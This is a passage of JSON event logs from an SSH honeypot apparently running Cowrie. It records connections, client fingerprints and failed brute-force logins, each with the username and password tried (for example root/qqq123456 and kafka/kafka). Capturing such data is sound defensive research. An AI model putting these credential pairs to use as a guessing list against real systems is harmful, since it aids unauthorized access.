fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:49.116403Z","src_ip":"185.191.141.115","session":"66a7f290c964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2022!!!","message":"login attempt [root/unitedstates2022!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:49.611493Z","src_ip":"185.191.141.115","session":"66a7f290c964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:50.777932Z","src_ip":"185.191.141.115","session":"66a7f290c964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":47619,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c7dad015340","protocol":"ssh","message":"New connection: 5.196.136.131:47619 (10.17.0.5:22) [session: 1c7dad015340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:51.330310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:51.333001Z","src_ip":"5.196.136.131","session":"1c7dad015340","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:51.411169Z","src_ip":"5.196.136.131","session":"1c7dad015340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:51.662836Z","src_ip":"5.196.136.131","session":"1c7dad015340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:52.742785Z","src_ip":"5.196.136.131","session":"1c7dad015340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":57357,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c43b46f9147","protocol":"ssh","message":"New connection: 5.196.136.131:57357 (10.17.0.5:22) [session: 5c43b46f9147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:55.763081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:55.767267Z","src_ip":"5.196.136.131","session":"5c43b46f9147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:55.851614Z","src_ip":"5.196.136.131","session":"5c43b46f9147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:56.118835Z","src_ip":"5.196.136.131","session":"5c43b46f9147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:57.204305Z","src_ip":"5.196.136.131","session":"5c43b46f9147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":35171,"dst_ip":"10.17.0.5","dst_port":22,"session":"441b76d572bc","protocol":"ssh","message":"New connection: 5.196.136.131:35171 (10.17.0.5:22) [session: 441b76d572bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:00.177319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:00.184263Z","src_ip":"5.196.136.131","session":"441b76d572bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:00.265760Z","src_ip":"5.196.136.131","session":"441b76d572bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:00.513802Z","src_ip":"5.196.136.131","session":"441b76d572bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:01.599532Z","src_ip":"5.196.136.131","session":"441b76d572bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":47436,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a6d1081c77e","protocol":"ssh","message":"New connection: 85.214.154.50:47436 (10.17.0.5:22) [session: 6a6d1081c77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:02.302768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:02.306207Z","src_ip":"85.214.154.50","session":"6a6d1081c77e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:02.402733Z","src_ip":"85.214.154.50","session":"6a6d1081c77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"snx789","message":"login attempt [root/snx789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:02.694659Z","src_ip":"85.214.154.50","session":"6a6d1081c77e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:03.792096Z","src_ip":"85.214.154.50","session":"6a6d1081c77e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":25500,"dst_ip":"10.17.0.5","dst_port":22,"session":"664411819bbf","protocol":"ssh","message":"New connection: 5.196.136.131:25500 (10.17.0.5:22) [session: 664411819bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:04.645215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:04.649434Z","src_ip":"5.196.136.131","session":"664411819bbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:04.726163Z","src_ip":"5.196.136.131","session":"664411819bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:04.960281Z","src_ip":"5.196.136.131","session":"664411819bbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:06.040043Z","src_ip":"5.196.136.131","session":"664411819bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.92.241.150","src_port":48530,"dst_ip":"10.17.0.5","dst_port":22,"session":"c426acbd8358","protocol":"ssh","message":"New connection: 188.92.241.150:48530 (10.17.0.5:22) [session: c426acbd8358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:08.390393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:08.395487Z","src_ip":"188.92.241.150","session":"c426acbd8358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:08.527841Z","src_ip":"188.92.241.150","session":"c426acbd8358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":9051,"dst_ip":"10.17.0.5","dst_port":22,"session":"316dfed4195d","protocol":"ssh","message":"New connection: 5.196.136.131:9051 (10.17.0.5:22) [session: 316dfed4195d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:09.045773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:09.054806Z","src_ip":"5.196.136.131","session":"316dfed4195d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqq123456","message":"login attempt [root/qqq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:09.085457Z","src_ip":"188.92.241.150","session":"c426acbd8358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:09.158113Z","src_ip":"5.196.136.131","session":"316dfed4195d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:09.393251Z","src_ip":"5.196.136.131","session":"316dfed4195d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:10.220141Z","src_ip":"188.92.241.150","session":"c426acbd8358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:10.474281Z","src_ip":"5.196.136.131","session":"316dfed4195d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":58878,"dst_ip":"10.17.0.5","dst_port":22,"session":"cae7bd8da202","protocol":"ssh","message":"New connection: 5.196.136.131:58878 (10.17.0.5:22) [session: cae7bd8da202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:13.503428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:13.508379Z","src_ip":"5.196.136.131","session":"cae7bd8da202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:13.595373Z","src_ip":"5.196.136.131","session":"cae7bd8da202","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:13.855744Z","src_ip":"5.196.136.131","session":"cae7bd8da202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:14.942021Z","src_ip":"5.196.136.131","session":"cae7bd8da202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":34618,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf5657ec73f8","protocol":"ssh","message":"New connection: 5.196.136.131:34618 (10.17.0.5:22) [session: bf5657ec73f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:17.906053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:35:17.910073Z","src_ip":"5.196.136.131","session":"bf5657ec73f8","protocol":"ssh"}
